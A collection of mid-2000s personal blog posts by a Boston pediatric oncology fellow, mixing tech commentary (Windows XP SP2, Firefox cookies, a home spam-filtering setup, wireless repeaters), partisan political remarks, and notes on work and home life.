I’ve been playing with Andre and Jason’s new bauble, DropCash, and I’ve gotta say I think it’s the bee’s knees, for a couple of reasons. First of all, it’s an awesome demonstration of how you can weave a bunch of different tools together into a seamless application — DropCash uses TypeKey for authentication and PayPal for the transactions, and hooks into both through their respective public APIs. Second, it layers an element of community atop the otherwise mundane task of requesting money, and since people generally would use services like this to ask for money from a community of their peers, I think it’s wicked cool to include community elements in the app itself. And third, DropCash itself is cleanly designed and quick to use, both of which are enviable in this era of overengineered and inscrutable web applications.

So, of course, what does a dork like me do when he starts playing with a new web application? Create a test case! I set up a campaign to raise enough money to buy a hardware firewall and VPN server for my home network; since I have a few big servers running here (including the one that hosts this very website, a moderate-volume mail server, a curriculum server for my old pediatrics residency, and the MetaFilter server), I figure that it’s a worthy goal to go for a dedicated, easy-to-use box to protect it all. And if I don’t raise enough, I can always put the money straight into the help-keep-MetaFilter-air-conditioned fund!

Lying on my bed trying to get the room to stop spinning and my stomach to stay in my lower abdomen, I came to the conclusion today that rollerblading isn’t much in the way of cardiovascular exercise.

I love the new popup killer that’s part of the Windows XP Service Pack 2 updates to Internet Explorer, but I have a question. Is there a way to tell IE that, for specific websites, you don’t want the Information Bar to appear and alert you that a popup has been blocked? For example, everyone knows that CNN went the way of the devil a long time ago, and that a popup will try to, well, pop up every single time you go to the home page. How can I tell IE to just silently block that attempt from cnn.com, but still let me know about other websites’ efforts to annoy me?

If the registration data of online news sites is really trustworthy, then I guess the Washington Post has proof that I’m, variously, a four year-old female Vice President-level attorney in the agriculture sector, a 103 year-old male hourly social worker for the packaged goods sector, and a 42 year old unemployed female energy veterinarian. Seems trustworthy to me!

While I’ve installed XP Service Pack 2 on one machine and had not one whit of a problem with it, I understand why corporations are wary of rolling it out at this point, instead opting for the (reasonable, logical) step of testing it in-house to integrate it properly and make sure that it doesn’t break any business-critical applications. Apparently, so does Microsoft — on Tuesday, the company released a set of policies and scripts which will block the download of the Service Pack, from both the Windows Update site and the automatic update process. Smart move, and shows a fine awareness of the reality of computing in a corporate environment.

If you’re hankering to understand the changes introduced by Windows XP Service Pack 2, you might want to take a look at the TechNet document dissecting the update, and also spend some time reading Tony Chor’s higher-level description. (Chor is the program manager for the Internet Explorer team, so his document is geared more towards the IE changes introduced in SP2.)

Madness is trying to debug a Windows ME laptop. Seriously, the past 24 hours of my life have been devoted to a machine that works beautifully when it’s sitting there all by its lonesome, but freezes solid when you plug a network cable into its built-in ethernet port. Luckily, the laptop’s owner is a dialup user (they still exist?!?), but it’d be nice to give the laptop back to her with everything working just ducky.

(Update: I’m giving Ask MetaFilter a whirl on this one, to see if there’s anything I haven’t thought of!)

Wow, there are so many things one could say about Bush’s denouncement of legacy consideration in the college admission process that I wouldn’t know where to begin. Would this man have achieved anything in his life if it weren’t for legacy considerations?

We’re 544th! We’re 544th! (See here for some background.)

The more I read about the Swift Boat Veterans for Truth, the more sad I become about how easy it is to manipulate facts in the minds of the American voter. Too many people actually believe what these people say, despite the incontrovertible fact that every single living boatmate of John Kerry has stood by his side and unquestionably supported his Vietnam record. Alas… I’m sure it’s more that people don’t necessarily believe them in an active sense, but rather, they passively allow the group’s message to support already-set political beliefs. It’s similar to hearing, on NPR this morning, a voter express how strongly he stood for George Bush and the Republican Party based on his belief in smaller government and less federal spending; I can’t imagine that there’s any amount of data one could feed to the guy about the reality of the Bush Administration on both counts that would cause him to change his mind. So what we’re left with is an election, for what is arguably the most politically important job on Earth, that has less to do with the actual people running against each other than it does the allegiance people feel towards the parties that support the two men. Sad.

I’m currently playing with webRemote, a little app that runs on your Mac and lets you control iTunes from any machine nearby on the network. It’s not revolutionary so much as it is incredibly useful, especially in my new office configuration.

I’m not quite sure yet what to make of this graph of Bush’s approval rating superimposed on a chart of the timing of terror alerts, but it certainly is interesting.

Seriously, this might be the week to avoid saws.

If anyone out there is thinking of trying out one of the “RAM optimizers” that are heavily advertised on a lot of the tech sites, you might want to read this excellent dissection of these scam-filled products by Mark Russinovich. Every last one of these applications can actually hurt your computer’s performance by forcing the operating system to move actively-used information from the machine’s very fast RAM to its very slow hard disk-based virtual memory file, and as a result, you take a big hit as your applications have to copy that information back into RAM once they need it again. Most importantly, the peddlers of these applications rely on people having a belief that there’s some intrinsic, universal benefit to having a huge chunk of empty RAM hanging around… but most programmers will tell you that this is an untenable generalization, especially when there are tasks that are running which could benefit from having access to that fast RAM. (For a good example, look at a memory usage map on most any Unix machine, and you’ll see that the physical memory is almost always in use to the tune of over 80%. That’s because the Unix operating system has always understood the value of using the much faster RAM as much as possible to complete tasks.) Sure, some gamers want access to every last bit of memory to run their super-complex shoot-em-ups, and maybe this is the class of user that needs these products… but you’d think that the game programmers would then just build the functionality into their games, no? Seems logical to me.

(And do you think these RAM-boosting scam artists told the folks over at Download.com that they stole their download icon?)

OK, I’m done being a total geek for now.

Over at Slate, Andy Bowers has made a great discovery: based on their weight, most SUVs are banned from a great deal of California roads. As you’d imagine, the laws that ban them aren’t enforced at all, but the logic behind them — that vehicles over 6,000 pounds cause more wear and tear on residential roads and are more dangerous to pedestrians — is solid. According to the article, law enforcement officers seem to draw a big distinction between commercial and personal vehicles, and ignore the Tahoes, Hummers, Escalades, and Land Cruisers as a result But why should people be allowed to buy these behemoths explicitly because they’re heavy enough to classify for a commercial vehicle tax writeoff, but then not have to adhere to the commercial vehicle laws in ther communities? It’s all a bit silly.

Well, it looks like I went to Nantucket a bit too early, since in as soon as a month, a startup is looking to blanket much of the island with wireless service. I love the name, too — ACKblast — which reflects the three-letter code for the Nantucket Airport.

The Apple Product Cycle. It’s funny because it’s true!

Once again, I’m certainly one of the last people to this party… but for those who straggle even further behind, you really should read Ron Reagan Jr.’s Esquire article on the Bush Presidency. Entitled “The Case Against George W. Bush,” it’s not too difficult to figure out where Ron Jr. stands on the merits of the 43rd President of the United States; the piece is very well-written, with Reagan pinning most of his arguments on a fundamental inability to trust Bush. I can only hope that the press starts to pick up on this a bit, and document much of the travesty that has been the past three years of governance in this country.

I’m unclear how I’ve been in Boston for over a year now and never been to Nantucket. Shannon and I came out here for a wedding this weekend, and between the amazing weather and the beautiful island, it’s just awesome. Sure, everything’s about 200% the cost as it would be back on the mainland, and sure, last night was foggier and muggier than your average sauna, but that’s fine when the payoff is days like today. It’s crisp and nice out, thin wisps of clouds streak the sky, I’m sitting out on the wharf watching the boats coming and going, and the breeze off the water couldn’t be more perfect. (And thanks to what may well be the slowest WiFi connection I’ve ever experienced, I’m able to catch up on all the email I ignored yesterday in my effort to get out here!)

I need to take advantage of the world outside Boston a little bit more, I think.

If you missed Barack Obama’s keynote speech last night, and want to see it online, don’t bother pointing your Mac to MSNBC’s offering — the network requires you to be running Windows in order to see any video. Interestingly, the DNC’s video archives offer a few options, including both Quicktime and Windows Media, and both play just fine on a Mac. Gotta love deceptive platform lock-in… (Oh, and if you did miss Obama’s speech, you really should hear it.)

Today, over at Heather Armstrong’s joint, is the best euphemism for breasts I’ve heard in a long while: “beautiful, life-giving vessels of sweetness”. The Todd would be proud.

Today, Raymond Chen has an interesting look at the evolution of depth (you know, the third dimension) in the interface of Windows and Windows applications, from the original 2D look of Windows 1.0 to the waaaaaaaay too 3D look of Windows 95 to the more subtle mix of both in today’s Windows environment. I’d imagine that part of the reason for the pendulum swing is the ease of basic programming in the Windows world; when any Visual Basic user can whip up an interface in under 20 minutes, and more importantly, has complete control over every interface element’s style, color, border, and the like, the results can be a bit predictable.

It’s interesting that Project 21, a conservative organization which specifically identifies itself as “a leading voice for a new generation of African-American leadership”, has a Caucasian director (a fact which was learned via something as simple as a flat tire; video clips are available for a little while over at C-SPAN). I’ve never really been able to wrap my head around how any members of minorities can be a part of political belief systems that disparage them at every opportunity; from the looks of things, it at least involves equal parts of money and deception. And going into the meaty part of this election season, this story reminds me that, at least in politics, things are seldom as they appear.

I hit a few roadblocks when trying to install a slew of Perl modules on my new Powerbook, and after a lot of hairpulling and angst, I managed to track down the relevant information and solve the issues. I wanted to document it all here, lest someone else find themselves in the same boat.

(There’s nothing to see here; I’m just claiming my feed at Feedster right now…)

For all the other people who’re enjoying the cyclysm, there are two great discussion threads on yesterday’s Tour drama between Lance Armstrong and Filippo Simeoni, one on SportsFilter and the other on Ask MetaFilter. Armstrong may be arrogant, but he’s mind-bogglingly dominating in his sport, and tomorrow’s (probable) win is an undeniable feat for anyone, much less for someone who was (by the odds) likely to die of cancer under a decade ago.

I’m sure New York misses you as much as you do New York, Anil.

My question about the new Google Toolbar Browse by Name feature: how do you override its behavior? I ask because I might not want to go to Ford’s web page about the Explorer when I type “Ford Explorer” into my Google bar; is the only way to avoid this to avoid the toolbar, go to the Google home page, and type “Ford Explorer”?

Maybe I’m misunderstanding the feature, but it seems to move away from making the Google Toolbar an intuitive, brain-dead way to use the power of Google in whatever way users find most effective for them.

It’s unbelievable how great Ask MetaFilter can be (at least when the question’s not about Bush, Kerry, Israel, Palestine, abortion, or anything else remotely political). It’s also unbelievable that, in the first 13 minutes, there were six answers that were all based on a legitimate understanding of physics and relativity, and no posts complaining about grammar or diction!

porchsitting

I could totally get used to this second-year fellow thing. After getting to work at 8:45 AM today, I sat through a few teaching sessions (a “consolidation course” for reinforcing all the clinical knowledge we picked up in the trenches last year), handled a few patient-related issues, and got out of work at the completely reasonable hour of 5:15 PM. It didn’t take long to hop out to our newly-furnished porch, Diet Coke in hand and laptop on my lap, to enjoy a cool Brookline evening — pretty much the diametric opposite of every single evening during my first year of fellowship.

Sure, I have ten on-call blocks coming up this year, fifty or sixty active patients of my own, and will be starting in the research lab in a few weeks, but things look much, much better from this side of the first-year/second-year divide.

A while back, I noted a lawsuit filed by a group of parents in Oak Park, Illinois attempting to get the school district to stop using wireless networking due to some alleged health threat; I’m happy to read today that the suit has been dropped. (Granted, it was dropped for reasons unrelated to an understanding on the part of the parents about all the other wireless exposures they encounter every single day, but we can’t have everything.)

Does anyone have any specific recommendations (or warnings) when it comes to DNS hosting? A friend and I are looking for a paid service to handle DNS for a few of our domains, and in taking a peek around the web, there aren’t a whole slew of companies competing for that slice of the market. The ones I’ve found are EasyDNS, ZoneEdit, Nettica, DNS Made Easy, and World Wide DNS, but the first thing that jumped out at me as I tried to compare them was that none of them has made it easy to find out exactly what I’d be getting if I were to sign up. (How many records would I be allowed in each domain? What does the web-based interface look like?) Based on just the information available on their websites, I’d be inclined to give Nettica a shot; the price can’t be beat (especially for bulk services), and they seem professional enough.

If anyone has any personal experience, with any of these DNS hosts or any others, I’d love to hear it.

A lot of people have complained about a recent uptick in spam, but I have to say I’m not getting hit all that much. I get around 3,000 unsolicited emails a day, and only about a half dozen slip through my net, a net composed only of SpamAssassin (with Bayesian filtering turned on) and ClamAV (for antiviral goodness). Here are the particulars of my setup, all of which takes place on my mail server so that I can use any old client and still enjoy the benefits.

  • When an email comes into my server, it first gets scanned by ClamAV, and quarantined if it’s dangerous.
  • Once an email proves that it’s not harboring any nasty viruses, it gets compared to a short roster of mailing lists to which I subscribe, and if it harkens from one, it gets sorted into my mailing list folder.
  • If it’s not from a legitimate list, the email gets fed to SpamAssassin.
  • SpamAssassin checks it against its own rules, the spam databases at Vipul’s Razor and the Distributed Checksum Clearinghouse, and my Bayes database. It assigns the email a spam likelihood score.
  • Email with spam scores of over 10 get deleted immediately, email with spam scores of over 5 but less than 10 get thrown into a spam folder, and email with scores of less than 5 get put into my inbox.
  • If a piece of spam manages to defeat all of this and make it into my inbox, I throw it into a reject folder. Thanks to a nudge by Ben Hammersley, this reject folder is processed every morning, teaching my Bayes filters that everything within is spam.
  • Other choice bits: ClamAV updates itself every night, SpamAssassin’s automatic whitelisting is turned off (due to a nasty prior bug that left a bad taste in my mouth), and I wrote a few custom SpamAssassin rules that make sure that all of MovableType’s comment notifications make it through unscathed.

I openly acknowledge that this all takes a little bit of maintenance every now and then, and that as a result, it’s probably not the solution for everyone. I have to keep up with the latest version of SpamAssassin (which is about to hit 3.0) and its related spam database clients, I have to dabble in Linux system administration in order to get it all configured, and of course, having the mail server sitting in my house helps a ton. All that said, I’m pretty happy with the current state of things, given that the less than two percent of my incoming mail that’s legitimate makes it into my inbox, and it’s the rare spam that comes along for the ride. And as a bonus, the other people that have accounts on my mail server get the benefit of all the work!

Every time I begin to forget what a jackass John Ashcroft is, someone takes the effort to remind me. I particularly love Krugman’s concluding paragraph:

After my last piece on Mr. Ashcroft, some readers questioned whether he is really the worst attorney general ever. It’s true that he has some stiff competition from the likes of John Mitchell, who served under Richard Nixon. But once the full record of his misdeeds in office is revealed, I think Mr. Ashcroft will stand head and shoulders below the rest.

Posted mostly as a bookmark for myself: how to perform dynamic text replacement (or, described a bit simpler, how to have your webserver instantly create an image that contains whatever text you want rendered in whatever font you want).

Remember that unbelievably short-sighted Mozilla Firefox cookie issue? The one wherein it only remembers the last 300 cookies, forcing you to log back into your bank sites, news sites, email sites, and the like if you do anything but the most lethargic web surfing? Well, despite the bug getting fixed and checked into the Mozilla source code tree back in April, it looks like Firefox 0.9 (which was released this past week) doesn’t incorporate the fix. (That last link is to a chart which traces the revisions of the source code file that manages the cookie issue; the fix was introduced in version 1.25, and as you can see, almost every major revision of the Mozilla browser branches off back at version 1.22.)

I was wondering why, after a two-month respite, I was being forced to log back into my bank site every few days again. That just sucks.

Enriched Uranium: What Every Parent Should Know, brought to you courtesy of Timothy McSweeney’s Internet Tendency. One choice gem: “Enriched uranium is what is known as a gateway element. Children who try enriched uranium are more likely to try plutonium and wine coolers.”

Once again, the mad syndication ninja has elevated his art with Feed on Feeds 0.16, adding XHTML and CSS, a one-page console and viewer, and a lot of bug fixes. Go forth and download!

FoF 0.1.6 screenshot

(Kellan McCrae, the author of the parsing library that sits at the core of Feed on Feeds, has also started experimenting with ways of extending the tool to allow both consumption and production of syndication feeds, and released a patch that allows you to republish posts into your own feed. Very, very interesting.)

I mean, this can’t be real, can it? Burning in your audio component cables to get better sound? I guess if you’re the kind of person who’s willing to drop between $500 and $750 on a freakin’ power cable, you might want to make sure that cable is burned in!

I’ve talked about the idiocy of Boston drivers before, but today I realized that I’ve been staring at the best example of how bad their behavior really is without even knowing it.

At work, I park in an underground garage, the first two levels of which are devoted to patient parking. In order to get to the levels that allow employee parking, I have to spiral through the two patients-only levels, and every day, it’s like negotiating a maze. People jam their rides into these two levels in ways that leave micrometers between cars, obstruct the driving lanes, bottleneck the ramps, and even block in other cars. Now, let’s reiterate: in order to park on level 1 or 2, you either have cancer yourself or you’re driving someone who has cancer. And as if that isn’t bad enough, and as if going to hear bad news, get chemo, or be blasted with radiation isn’t worse, there’s a decent chance that when you get back to your car, some jackass has made it hard for you to get your car out, all because he couldn’t be inconvenienced by continuing on to the next tier of the garage.

It’s sad when you pine for your old, calm days of driving in Manhattan!

By far, the best break-down of the controversy around the Pentagon how-to-justify-torture memo is currently over at Randy Paul’s site; he provides the most logical explanation I’ve seen of how the Bush administration’s attempt to justify torture under newly-invented wartime or enemy combatant rules is complete and total bullshit.

Update: if Randy’s post is the best analysis of the legal reality, then Billmon’s post about Mary Walker, the woman who led the legal team which assembled the memo, is the best analysis of how pathetically hypocritical one person was in her quest to justify torture. I mean, people are having a blast with this, because apparently, it’s just so damn easy!

After quite a bit of WiFi wrangling, around a month ago I begrudgingly admitted to myself that there was really no good way to boost the signal from my 802.11g router enough to provide any access worth a damn in the back of our apartment. And given that the root of the problem was the presence of thick, century-old plaster and lathe walls, the last solution I was interested in considering was drilling holes and running an ethernet cable all the way back. The only other option I could really think of was to set up wireless repeaters, but until just recently, they were either too expensive, too limited, or completely unreliable. Once I saw that the latest firmware for the Linksys 802.11g access point included the ability to serve as a repeater, though, my interest perked back up in the idea — we already own a Linksys wireless router (the WRT54G), so if all we needed was one of their access points (the WAP54G), then we were willing to give it a go.

Yesterday, Shannon and I went to Best Buy to pick up the access point, and learned that despite it having less inherent functionality than Linksys’s corresponding wireless router, it costs more ($20 more, at least at Best Buy). And while the stock firmware for the router doesn’t include the ability to use it as a repeater, I remembered that there is a flourishing community of alternate firmwares for the box (given that, underneath the pretty blue exterior, it just runs Linux!), and that some of those alternatives provide the repeater functionality. We made a quick decision to give it a try, and after getting home and doing a little research, I settled on Sveasoft’s latest firmware. I put around two hours of work into the configuration last night, ended up sleeping on the last remaining obstacle, and then awoke this morning to finish the setup — and it works!

The fancy name for the standard that provides wireless repeater activity is WDS, which stands for Wireless Distribution System. Setting WDS up in Sveasoft’s firmware is as confusing as it gets, hence needing two hours and an overnight of dream-based contemplation in order to get it working; that being said, now that it’s set up, our apartment is virtually bathed in WiFi goodness, and Shannon’s office computer is happily churning away on the network. (After personally hitting most of the potential stumbling blocks full-on, I plan to write up a how-to for what I did to get it working, and generally, what anyone needs to do to get WDS enabled on a Linksys WRT54G.) This all makes me realize, though, that once a company gets WDS distilled down to a single-click interface, it’ll make home wiring nearly obsolete.

An update on the Apple iBook Logic Board Repair Extension Program saga: I finally received my refund request letter on April 3rd, and sent it right back in. The letter said to expect my refund in four to six weeks. As of today, it’s been two months, and I have yet to see a single red cent from the company. Of course, that led to a phone call.

I spoke with a nice young man (of course he was nice, he was named Jason!) who offered to “escalate the issue with accounting” and get back to me in three to five business days. I told him I wasn’t really willing to continue to wait for them to return my money to me, so he offered to pass me on to his supervisor, Sheila. She acknowledged that Apple processed my refund request on April 26th, and that there was no clear reason why I hadn’t seen the refund yet. She offered up her direct phone number, and said that unfortunately, she could only do the same thing — escalate with accounting, and get back to me in three to five days.

So, here’s our timeline to date:

  • December 9, 2003: I brought my broken laptop into the Apple Store for repair.
  • December 11, 2003: I received my fixed laptop back, and was charged $289 for the repair.
  • January 28, 2004: Apple acknowledged the inherent flaw in the iBook logic boards, and started the “proactive” process of contacting people who paid for repairs to offer refunds.
  • March 23, 2004: After having never received any contact from Apple, I called them only to find out that they mailed my refund letter to the Apple Store that performed my repair. They quoted one week to get me a new letter to, you know, the place where I live.
  • April 2, 2004: I still had no letter in hand, and Apple told me to be patient.
  • April 3, 2004: I received my letter, quoting a four to six week turnaround for the refund.
  • April 4, 2004: I mailed the signed letter back to Apple.
  • April 26, 2004: Apple processed my letter.
  • June 8, 2004: After still not having my refund, I called and was told that they now need to escalate the process, and that they will get back to me in three to five business days.

The dates pretty much speak for themselves; I wonder how long this next hurdle will take to get over. I also wonder how long it will take for me to be willing to give Apple any of my money again.

Two quick observations on the Apple AirPort Express with AirTunes, announced today:

1. Wow — waaaaay cool, integrating stupidproof music into the mix.

2. Why do all the 802.11g repeaters/bridges only work with access points from the same makers? Read the small print on the AirPort Express page: “AirPort Extreme and AirPort Express can extend the range only of an AirPort Extreme or AirPort Express wireless network.” I’ve yet to see a consumer-level repeater that works with other vendors; is the WDS spec so difficult to work with that each vendor has developed an independent implementation?

I am exceedingly glad that there are people willing to stand firm on the ways in which gay nuptials threaten the institution of marriage, for I would never want the wedding of Jennifer Lopez and Marc Anthony to be understood as anything but a sincere statement of lifelong love and commitment.

I’m not one of those people who puts pets on completely equal footing with humans, but still, I wonder what this woman’s attitude will be like when her new baby comes out — a baby that, at least for the first few years, will be “unbearably needy,” have “a tendency to drool when receiving her scant portion of affection,” and could (god forbid) have health problems! Sorta bolsters my belief, built up over years of seeing people’s various coping abilities in the face of the health problems of their kids, that quite a few folks don’t think through the full ramifications of becoming a parent.

I’ve been a hardcore user of Steve Minutillo’s web-based aggregator, Feed on Feeds, for about five months now. It’s awesome, allowing me to keep up with all the websites I’d love to have time to read individually; chances are that if I subscribe to your syndication feed, you’ve seen the URL of my Feed on Feeds installation in your referrer log a few times. I currently subscribe to nearly a hundred feeds, though, and when I go one or two days between checking in for updates, the list can get to be a couple hundred posts long — unwieldy enough that it discourages me from checking in, further exacerbating the problem.

A month ago, I noticed that Steve had set up a SourceForge tracker for feature requests, so I asked for an addition to the FoF interface that would let you mass-select the group of entries you’ve already seen with one click. I figured that at a minimum, people would discuss alternatives to my request, and felt the worst thing that could happen was that Steve would ignore my request. How happy I was, then, when a little birdy alit in my email inbox this morning chirping away about the latest version of FoF which including my requested feature! To me, it makes FoF that much more usable, and Steve that much more of a mad syndication ninja; I’ve moved from hardcore to evangelical. Go forth and use Feed on Feeds!

Let me be the one quadrillionth person to say how terrific Alexandra Polier’s story is. She’s the woman who was wrongly accused of having had an affair with John Kerry, and her story provides a fantastic look at how rumors and spin get turned into hard news in politics. After reading the piece, I feel like the “reporting” being done by all involved was a bit like the friend-of-a-friend thing, each level adding a small detail to the story that he or she thought would make it more palatable to the public, and never caring much that the small detail was invariably false. In the end, Polier played things perfectly by refusing to provide more grist for the mill (and being in Nairobi, inaccessible to a lot of the hungry carnivores!).

File under Geek Cool — the largest known prime number was just discovered by the Great Internet Mersenne Prime Search (aka GIMPS)! For those who don’t know, anyone can participate in the GIMPS project by downloading a client program. The GIMPS master computers farm out to the clients the work-intensive math that’s needed to check whether or not a number is prime, and the clients use only the “idle time” of the computers (the time that computers aren’t doing anything else) in order to do the computation. It’s a cool use of distributed technology; as of the latest status report, there are over 68,000 computers participating in the hunt for primes.

What a nice Memorial Day! After being on call for since Friday night, yesterday evening we went over to help some of our friends enjoy the first back-porch grillout of the season. I slept until noon today (always a welcome event in this house), and then, sufficiently inspired by last night, I assembled a little 14” charcoal kettle grill that Shannon’s parents gave us when we moved up to Boston. We buzzed around the apartment cleaning stuff up, and I made a quick run to the grocery store to grab the essentials of Memorial Day grilling. Some other friends brought their twin almost three year-old boys over, our landlord came downstairs with his girlfriend, we grilled up some burgers, hot dogs, and Italian sausages, and we sat around enjoying each other’s company.

First year of fellowship is so much more frenetic than I could have ever predicted, but as the year comes to a close, it’s nice to reflect on the rare day of pure relaxation and see the prospect of many more to come. And now I have my own little grill, to use each and every time one of them rolls around!

As if the dreary Boston weather wasn’t making me miss New York enough, today two things pop onto my radar screen that make me ache to be back there this weekend (instead of being on call for all pediatric hematology and oncology here in Boston). First, there’s the news that Columbia Hot Bagels is closing. What a travesty, and moreso, what an unbelievable loss to all the Morningside Heights residents who will have to go get doughy, undercooked kaiser-rolls-cum-bagels at Nussbaum & Wu or walk the thirty blocks for the (still inferior) H&H Bagels. (Piece of trivia: if not still, for years the famous Zabars bought their bagels at Columbia Hot. How do I know? I brought three dozen bagels into work every Sunday morning during college, and I would get there early enough to see the carts of bagels being loaded into the Zabars vans.)

The second New York info that made me miss the city is the fact that today is a Manhattan equinox. The relative rigidity of the city’s grid is soothing compared to the randomness of any other American city (like, say, Boston!); the fact that the rigidity lends itself to cool things like this makes New York all the more interesting. Enjoy this evening, New Yorkers, and take a glance down Upper Broadway for me!

Yep, what Dave Walker said.

Seriously, I know I’m about the millionth person to link to it, but all the comments on this post, from people who legitimately think that they’re conversing with Maury Povich, make for an awesome read. Give yourself about 20 minutes to spend on this one; it’s worth it.

Holy crap — Randy Johnson pitched a perfect game last night! He’s the seventeenth to have done it in the majors, and at 40 years old, he’s also three years senior to the prior record holder for the oldest (Cy Young). Totally amazing.

I know, it’s been a long time since I’ve posted. I can’t explain other than to say that for some inexplicable reason, my life exploded a few weeks ago; work at the hospital has been completely out of control, weekends have been spent traveling up and down the East coast, and I’ve been challenged to fit working, sleeping, and eating into the same 24-hour blocks of time. So, in lieu of interesting pointers to things on the web, I’ll just provide a few examples of what’s been taking up my time.

First, there are two of the last three patients who have become mine in the world of pediatric oncology. One is an adolescent young woman who came in with a large pelvis mass about a month ago, and was found to have alveolar rhabdomyosarcoma which had spread to a few bones in her spinal column — a dismal diagnosis with a similarly dismal prognosis. We started her on treatment, but last week, back pain led to the discovery that her tumor had continued to grow in spite of her chemo. She ended up needing emergent radiation, a wholesale shift in our plan, and many discussions about how much more dismal things had become. The other patient is a school-age boy with an extremely unusual presentation of pediatric leukemia. The treatment to get him into remission was the same we’ve used, without failure, for four years now; last Friday we learned that he became the first failure of that treatment. He was readmitted and started on much more intensive chemo, and we had to tell the family that we’ve moved from an 80-85% chance of cure to a 15-20% chance of cure.

On a less depressing note, Shannon and I spent a weekend driving down to South Jersey to pick up the last remaining stuff she had in her parents’ basement. This last load included most of the furniture for Shannon’s study, and almost all of her books, and getting it up here made us both way happier than one would think reasonable. For her, it was the first step to completing her little hidey home in the back of the apartment (the den from which Her Knittress will never emerge); for me, it was something hanging over our head for the past eight months, and it was fantastic to get it done. Another good thing about the weekend was that we did the move in a rented Dodge Ram truck, which was more fun to drive than I would have thought possible.

And finally, my brother is getting married, and I had a blast this past weekend going down to NYC for his bachelor party. We exercised in the morning, caught the Yankees (in what were the best seats my ass has ever seen in the House that Ruth Built), ate a ton of red meat at Spark’s, watched the Spurs get kicked out of the playoffs, and then worked on a few Guinness beers until 5AM. And yesterday, I caught up with a few friends at my old magazine, and took a lot of shit for not keeping things up-to-date over here. While the weekend didn’t do much for my sleep deficit, it was a much-needed respite from the hospital, and perfect for catching up with my brother.

I have a few more weeks on the oncology consult service, so I can’t promise to turn over a whole new leaf between now and then, but I’ll do my best!

Does anyone know the reason why the new Apple iPod update doesn’t enable support for the new compression format on first-generation iPods? It seems that Apple is slowly telling the people that made the iPod successful to get lost…

This might be the best comment posted here in a long while — using QDN to help try to figure out which of your sons fathered the baby born to the slutty girl who slept with them both! (I’m just glad I can help those in need.)

I’m a huge fan of Mozilla Firefox, but I have to say that one totally maddening feature/bug is close to making me stop using it altogether. I find that, after around four or five days, most of my cookies completely expire. It means that, if I don’t log into my online banking website every five days, I lose my stored bank card number (meaning I have to get up, find my wallet, and type it back in). If I don’t log into my Movable Type site every five days, and then I click on one of the links in MT-Blacklist’s automated emails, I have to log back into MT, then close the MT-Blacklist page I’m redirected to and reclick on the email link. If I click on a New York Times link and haven’t been to their site in the past five days, I have to log back in. It’s totally annoying, and apparently, it’s something that other people have noticed (although it’s not entirely clear that it affects everyone, and it might have to to with a suggested 300 cookie limit).

Wait, here’s the scoop: there is a hard-coded 300-cookie limit in all Mozilla-based browsers, and that limit is based on an incredibly poor reading of the cookie specification (see section 5.3). To me, the most important part of that section isn’t the 300-cookie minimum, but rather, the lines that read:

In general, user agents’ cookie support should have no fixed limits. They should strive to store as many frequently-used cookies as possible.

This is way more realistic, given that most people probably use a few web-based applications daily for work, a few more web-based applications daily to weekly for personal things (email, searching, travel planning, and the like), and then regularly visit a dozens and dozens of other websites that use cookies. But this realism doesn’t appear to have affected the Mozilla programming community, at least in response to two years of bug reports and forum posts.

The door is done! Shannon painted the hall side while I washed the car today; I painted the study side when she was off knitting this evening. After little new doorknob hardware, it was another DYI project completed!

new door, done  new door, also done

Something cool I learned in this — the french door’s windowpanes came shrinkwrapped in plastic, so that we didn’t have to do any taping off. (You can see the shrinkwrapping by comparing the original pictures to the ones in this post.) After the painting was done, I just ran a utility knife around the edges of each pane and peeled off the plastic; it’s looks completely professional, and was so damn easy. If you’re looking to buy an unfinished door for your project, I’d highly recommend choosing one with any glass in it pre-wrapped.

This is damn cool — it’s an open-source web application that searches, and otherwise completely interacts with, the iTunes Music Store as if you’re using iTunes itself. You can even download the script behind the app and use it on your own machine. Wonder how long before Apple cries foul…

(I promise that this will be the last Gmail-related post before I get to my review of the service…)

Over at Slate, Paul Boutin suggests that Google offer some sort of option for users that don’t want to see ads next to their email, and I agree entirely. At the end of the account signup process, Google should pose the question, “Do you agree to have contextual ads placed on the same page as email messages?” And when users choose “No,” then the next screen should say, “We’re sorry, but you’re asking us to provide you with a free service, but not allowing us to serve the ads that make the service free. That kind of thinking is what fueled all those idiotic ideas that you mocked during the dot-com boom. Might we recommend an account over at Hotmail or Yahoo!? Because we’re not going to give you one here at Gmail. Sure, the ads over at Hotmail and Yahoo! may be larger, have little to no chance to be of interest to you, use Flash, and ask you to punch monkeys, and sure, those services may even insert ads at the bottom of your outgoing messages, and better yet, sure, those services offer you a fraction of the storage space and nothing close to the power of Google’s searching abilities, but… well, there’s no but. Hope you enjoy your experience there!”

That would be perfect.

Seriously, the real-time blogging of President Bush’s press conference that’s going on over at Pandagon and Washington Monthly is just awesome. I know I’m partisan, and thus more than likely to apprecate both authors’ views of the spectacle, but if it’s going even half as badly for Bush as they make it out to be then I say it’s about time Americans understand who it was that they elected. Nearly half a minute trying to figure out the worst mistake he’s made since 9/11, and finally spitting out, “I can’t come up with something under the pressure of the press conference”?!? Wow.

California’s draft anti-Gmail law is, quite possibly, the dumbest proposed tech industry legislation I’ve seen in a while. Has the Honorable Senator Figueroa ever seen what Yahoo! Mail, Hotmail, or any of the other free mail products look like? Does she understand how it is that all of the services exist at no cost to their users?

In a similar vein, has anyone demonstrated that the other big free mail providers don’t target ads to the email that a user is reading? I haven’t used Hotmail or Yahoo! Mail in a while, so I can’t say that I know either way, but it seems to be a no-brainer idea that would have crossed someone’s desk over the past year or two; if they don’t, I’d be willing to wager that it’s as a result of lack of innovation, not because Microsoft and Yahoo! have some stronger notion of the privacy of email users.

(Oh, and who’s forcing people to use the free mail sites? There are literally hundreds of companies who would be happy to let people pay them to host their email; if people don’t want to subject themselves to the terms of service for a free provider, they can let their wallets do the talking…)

The thing that jumped out at me the quickest after doing a few reloads on the compilation page of the most recent images posted to LiveJournal is the sheer number of people who take online “which [Friends/Buffy/Angel/Smallville/whatever] character are you” tests and then post the little thumbnail result. Who knew those little quizzes still existed!

For the past eight months, I’ve been jonesing to replace the door to my study with a french door that will let the light from the front of the house through to the hallway and the rest of our apartment. I wasn’t anxious to do everything that that entailed, though — chiseling out hinge mounts, drilling doorknob holes, and aligning all the mechanical workings wasn’t something that I thought I could handle. After succeeding at replacing a few mortise-type doorknobs in other doors last weekend, though, I started to think that this weekend was the time to try starting the Great Door Replacement Project, and in the aisles of Home Depot yesterday morning, Shannon reassured me that I could pull it off.

